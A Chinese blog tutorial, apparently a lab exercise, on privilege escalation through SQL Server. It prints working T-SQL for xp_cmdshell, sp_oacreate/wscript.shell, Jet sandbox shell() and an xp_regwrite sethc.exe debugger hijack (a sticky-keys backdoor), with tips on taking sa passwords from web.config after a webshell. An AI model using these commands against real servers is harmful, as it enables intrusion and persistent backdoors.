百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术文章 > 正文

Windows权限提升 —SQL Server/MSSQL数据库提权

nanshan 2024-10-07 11:06 40 浏览 0 评论

1. 简介

在之前的Windows权限提升—MySQL数据库提权中已经介绍了关于数据库方面的权限提升,同时在Windows权限提升—溢出提权的时候,简要的介绍了关于Windows提权方面整体的流程与方式,这里就不再赘述,直接进行Windows权限提升—SQL Server/MSSQL数据库的提权。

SQL Server与MSSQL其实就是一个东西,只是叫法不同。

Windows权限提升—MySQL数据库

Windows权限提升—溢出提权

2. 环境准备

实验环境:Windows系统、SQL Server 2008版本

2.1. SQL Server介绍

Microsoft SQLServer是一个C/S模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。

这里选在两个,第一个sqlexpr是安装程序,第二个managementstudio是管理程序,注意看清是64位系统还是32位系统哦。

同时建议全程联网,可能会遇到一些插件没有,在联网中可以自动安装。

下载链接:SQL Server下载:https://www.microsoft.com/zh-CN/download/details.aspx?id=30438

2.2. SQL Server安装

2.2.1. 主程序安装步骤

这里只把重要的展示出来,安装的时候需要注意,其它的默认都是下一步,不过可能安装过程中有所不同,如果遇到不同的可以自行搜索一下,包括我在安装中均遇到了一些不同的操作。

2.2.1.1. 双击SQL EXPR

双击打开SQL EXPR文件,这里需要稍等一会, 就会出现下面的界面。点击“全新安装或向现有安装添加功能”。

2.2.1.2. 实例配置

这里默认是选在命名实例,这里我们修改位默认实例,然后下一步。

2.2.1.3. 服务器配置

点击“对所有SQL Server服务使用相同的账户”,然后选在system账户。

2.2.1.4. 数据库引擎

点击“添加当前用户”,会自动添加当前用户,正常到这个页面默认就会选择当前用户,然后下一步,这里可能会遇到错误报告,不用管,直接下一步。

2.2.1.5. 安装完成

这里就安装完成了。

2.2.2. 管理程序安装

这里的安装和主程序安装其实差不多,这里也是同样将重要的展示一下,不重要的一律下一步,这里的管理程序就是managementstudio。

2.2.2.1. 安装插件

在部分电脑上,尤其是虚拟机可能需要安装插件,所以说为什么一定要联网呢。

2.2.2.2. 安装

这里也是一样,全新安装,后续基本上保持默认,直接都是下一步。

2.2.2.3. 安装完成

到这里就已经全部完成了。

2.2.3. 管理程序使用

这里在开始菜单找到SQL Server ManagementStudio,然后就能够打开管理菜单。

2.2.3.1. 初始化

在第一次打开后,需要简单的配置一下初始化状态,然后点击连接,即可。

2.3. 环境配置

这里为我们提权测试,我们还需要简单的配置一下。

2.3.1. 重启数据库

这里我们在刚刚连接进去的页面中,右击数据库,点击"属性",点进去后,直接点击确定,不需要点击其它的,然后重启数据库。

2.3.2. 添加SA用户

这里在使用SQL Server提权的时候需要获取SA用户权限才可以,所以我们这里先设置一个SA用户。

点击“安全性”“登录名”找到“SA”设置这个用户的密码。

2.3.3. 设置权限

还是在sa用户那个设置的页面中,设置一下权限,点击左上角的第二个属性服务器角色(server roles),这里是你为添加该用户要实现哪些角色。一般我们自己使用都是配置最高权限的角色,一个是public ,还有一个是sysadmin。

2.3.4. 设置外联

这里设置一下外联,我们点击最后一个属性,也就是状态属性(Status),在这个状态栏中,我们只需要勾选上面一栏是否允许连接到数据库引擎(Permission to connect to database engine) 选择 grant(授予);

2.3.5. 重启数据库

在所有都配置好后,重启一下数据库,右击—重启数据库。

2.3.6. 测试外联

这里需要查看一下sql server配置管理器的网络配置中的tcp/ip是否开启,然后在使用navicat进行连接。

3. 初期流程

所谓的初期流程就是,需要先获取到数据库的SA账户密码,然后判断端口是否为SQL Server数据库。

3.1. 获取SA账户密码

获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中。

准确说这里获取SA账户密码,也就是需要获取SA管理权限。

3.2. 获取外联状况

如果能够连接外联更好,如果无法就需要通过webshell上的数据库管理进行操作,那么这个的前提就需要先上传一个后面木马了。当然直接外联的情况下,是保证你能够正确获取到账户密码。

4. SQL Server提权

4.1. SQL Server提权方式

  • xp_cmdshell提权
  • sp_oacerate提权
  • SQL Server沙盒提权
  • xp_regwritet提权

4.2. xp_cmdshell提权

xp_cmdshell可以执行系统命令,该组件默认是关闭的,因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它。

如果mssql被降权或者设置的是其它权限,那么我们也无法进行提权。

4.2.1. 获取xp_cmdshell的状态

首先首需要获取xp_cmdshell的状态,通过命令查看,是处于禁止状态。

EXEC master.dbo.xp_cmdshell 'whoami'

4.2.2. 开启xp_cmdshell

这里通过使用命令开启xp_cmdshell即可。

开启:
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

关闭:   
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

4.2.3. 执行命令

上面的程序命令执行成功后,就可以使用下面的命令进行执行命令了,并且都是以system权限执行。

EXEC master.dbo.xp_cmdshell 'whoami'

4.3. sp_oacreate组件提权

在xp_cmdshell被删除或不能利用是可以考虑利用sp_oacreate,利用前提需要sqlserver sysadmin账户服务器权限为system。sp_oacreate 是一个存储过程,可以删除、复制、移动文件,还能配合 sp_oamethod 来写文件执行系统命令。

4.3.1. 判断组件是否存在

输入下面的命令,如果返回是1证明,组件是存在的,反之则不存在。

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

4.3.2. 判断组件是否开启

通过测试发现组件并未开启。

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt'

4.3.3. 开启组件

通过执行下列命令开启组件。

开启:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE

关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 0;
RECONFIGURE WITH OVERRIDE;

4.3.4. 执行命令

将之前执行未成功的命令,进行执行,这里需要注意,使用sp_oacreate组件提权是没有回显的,需要注意,最好的办法就是通过上传webshell后去查看文档记录,若打不开C盘(权限不够的情况下),可以将结果文件导入到你能打开的目录下。

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt'

4.3.5. 查看效果

这里我们就可以查看一下,执行的效果,当然如果你能执行命令了,那么基本上提权就是system命令,确信的情况下直接就执行你想要执行的命令吧,比如开启远程桌面,添加用户等等。

4.3.6. 回显执行命令

这里也是找到一个大佬写的文章,可以实现回显执行命令。

declare @shell int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

4.4. 沙盒提权

沙盒模式是数据库的一种安全功能。在沙盒模式下,只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。利用前提需要sqlserver sysadmin账户服务器权限为system(sqlserver2019默认被降权为mssql),服务器拥有 jet.oledb.4.0 驱动。

局限性:

  1. Microsoft.jet.oledb.4.0一般在32位操作系统上才可以
  2. Windows 2008以上 默认无 Access 数据库文件, 需要自己上传
  3. sqlserver2015默认禁用Ad Hoc Distributed Queries,需要开启。

4.4.1. 管理Ad Hoc Distributed Queries

开启:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;

关闭:
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;

4.4.2. 管理沙盒模式

这里我看别人的文章,说沙盒模式的开关都不影响命令的运行,这里由于需要安装在32位系统上,这里我就没有测试。

关闭:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

恢复:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',2;

4.4.3. 沙盒模式说明

沙盒模式SandBoxMode参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启

查看沙盒模式
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

4.4.4. 执行命令

这里由于需要安装32位,64位不行所以就没进行具体测试,可以看到这里报错了。

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')

4.5. xp_regwrite提权

通过使用xp_regwrite存储过程对注册表进行修改,替换成任意值,造成镜像劫持,当然前提条件就是未禁止注册表编辑(即写入功能)。

同时种方式如果存在杀软的话,可能会被直接拦截,大概率是由于触发到修改注册表的原因。

4.5.1. 查询xp_regwrite是否启用

这里查询一下是否启动,如果启用了,那么输出的结果为1,反之则为启用。

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'

4.5.2. 开启xp_regwrite功能

我这里已经开启了,就出现报错了,之前我试了一下关闭,好像还是报错,不过默认情况下好像是开启的。

开启:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_regwrite',1;
RECONFIGURE;

关闭:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_regwrite',0;
RECONFIGURE;

4.5.3. 注册表劫持

利用regwrite函数修改组注册表进行劫持。

EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

4.5.4. 查看是否劫持成功

接着我们查看是否劫持成功,可以看到下面显示cmd.exe,那么就证明劫持成功。

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'

4.5.5. 测试结果

这里使用远程桌面,或者什么其它方式,进入未输入密码的界面,然后按按5次shift,即可跳出cmd.exe。

5. 总结

最后,这几种提权方式,目前在SQL Server2008及以前版本同时SQL Server2012上基本上都能用,但是到2016或者更高的版本上就可能会出现部分不能用,或者SA权限太低的情况,导致无法提权。


相关推荐

教你一个解决手机卡顿的方法(10秒解决手机卡顿问题)

我们的手机天天刷头条,看视频,用了一阶段时间以后,就时不时的发生卡顿现象。昨天我的手机就发现了这个问题。友友们,你们遇到过这样的问题吗?你们都是怎样解决的?我看了一眼我的粉丝情况,头条君给我分析的很精...

手机视频缓存清理,3步彻底清空,告别卡顿

在我们使用手机观看视频的过程中,经常会产生大量的缓存垃圾,这些垃圾文件不仅占用了手机的存储空间,还可能导致手机卡顿和运行缓慢。然而,你知道如何彻底清空手机的视频缓存,让手机恢复流畅的使用体验吗?在本文...

关手机这个开关,轻松提升流畅度!

关闭手机这个开关,跟新买的一样流畅。手机不要再清理垃圾了,只要关闭这个开关,手机就会和新买的差不多,丝滑流畅不卡顿。其实抖音里就隐藏着一个小开关,每天刷过的视频都会保存在手机里,如果一直不清理,手机就...

如何清理今日头条和西瓜视频的内存,让手机流畅不卡顿?

对于老年人而言,今日头条和西瓜视频能带来丰富的资讯与娱乐。然而,随着使用时间的增加,这些应用会占用大量手机内存,致使手机运行卡顿。那该如何解决呢?接下来,我将用最简单易懂的方式教老年人清理今日头条和西...

视频在线如何转换格式?好用不卡顿的三种转换办法

转换视频格式目前来说已经是很熟练的操作了,但是还有些用户可能还是不知道,小编今天就特意给大家带来一些小众才知道的转换教程,让新手也能快速的上手去转换视频格式,以后获取到视频就不怕内容丢失了,视频的格式...

如何把视频慢放处理?这几个慢放方法记得收藏

如何把视频慢放处理?如果你想让视频慢放,可能是因为你想放慢一些精彩的瞬间,或者你想制作一个慢动作视频。在这篇文章中,我们将介绍一些调速方法,这些方法可以有效地调整视频速度,一起来学习一下吧。方法一:使...

如何清理看过的视频,释放垃圾,让手机更流畅?

现在谁的手机上没几个短视频平台,无聊时就会刷别人的视频。可您知道吗?我们看过的内容都会被自动保存在手机里,而且很耗内存。如果长时间不释放,手机就会出现各种问题,其中最突出的就是反应慢。相信很多老年人的...

手机掉帧是怎么回事?刷视频的时候经常掉帧卡顿

手机掉帧是指在运行应用或视频时,画面出现卡顿、不流畅的现象,通常由硬件性能不足、软件优化不佳、内存占用过高、网络问题或设备过热等因素引起。尤其是在刷视频时,掉帧问题可能更为明显,以下是具体原因及解决方...

拍视频画面卡顿不流畅,原来是相机设置错误 #短视频拍摄

拍摄视频时,应该选择哪种快门速度?许多新手朋友可能会认为,快门速度越高,画面就越清晰,实则不然。因为拍摄视频时,需要考虑一个问题,即动态模糊。例如,如果设置为24帧/秒,那么每秒钟会拍摄24张图片。如...

手机卡顿最大原因#视频太卡怎么变流畅

抖音这几个开关是手机卡顿的最大原因。你是不是也会经常遇到刷视频的时候,打开一个视频之后老半天还在那转着圈圈,总觉得手机没有之前流畅了。这就说明你的手机占用的内存太多了,导致手机卡顿,使用不流畅。使用手...

为啥你家的玩游戏和刷视频经常性的会卡,那是你不懂这些小妙招

本内容来源于@什么值得买APP,观点仅代表作者本人|作者:暴走的黄小猪说到网速有不少的值友都有一个共同点,那就是“卡”,那是你根本没体验过啥叫真正的网速啊,全屋零四条网络报表也花不了几个钱你们的方法...

电脑看视频卡顿有什么解决方法?(电脑看视频画面卡顿是什么原因)

电脑看视频卡顿的原因可能多种多样,包括硬件性能不足、网络问题、软件设置不当等。以下是一些常见的解决方法,帮助你改善视频播放的流畅度:一、硬件方面1.检查硬件性能:如果电脑配置较低,尤其是CPU、内存或...

手机Wi-Fi满格但视频卡顿,你需要这样解决

累了一天的打工人回家拿出手机准备玩玩游戏,看看电影时,发现网络异常卡顿,但手机又显示Wi-Fi信号满格,当咱们遇到此类问题时,这些动作能让网络恢复正常,方法如下。一、重启路由器和光猫很多家庭在安装好路...

视频越刷越卡?原来是路由器开启了这个功能,关闭方法来了

应该很多小伙伴都有过类似的经历,就是在家里长时间刷视频或者看剧的时候,网速好像会越来越慢,视频总是要加载。手机本身可能是一部分原因,但路由器也会影响,你知道吗?当我们在刷视频的,路由器会悄悄地开启大量...

一招解决视频卡顿的问题,改变发布渠道后,结果香了

最近一段时间拍了很多美景视频,编辑发布到头条后,有时一直显示在缓冲,播放不了,有时打开断断续续的,老是卡顿。导致的后果是:要么展现量很低,要么阅读量寥寥无几,这让我非常苦恼。所以再发布作品时,我只好文...

取消回复欢迎 发表评论: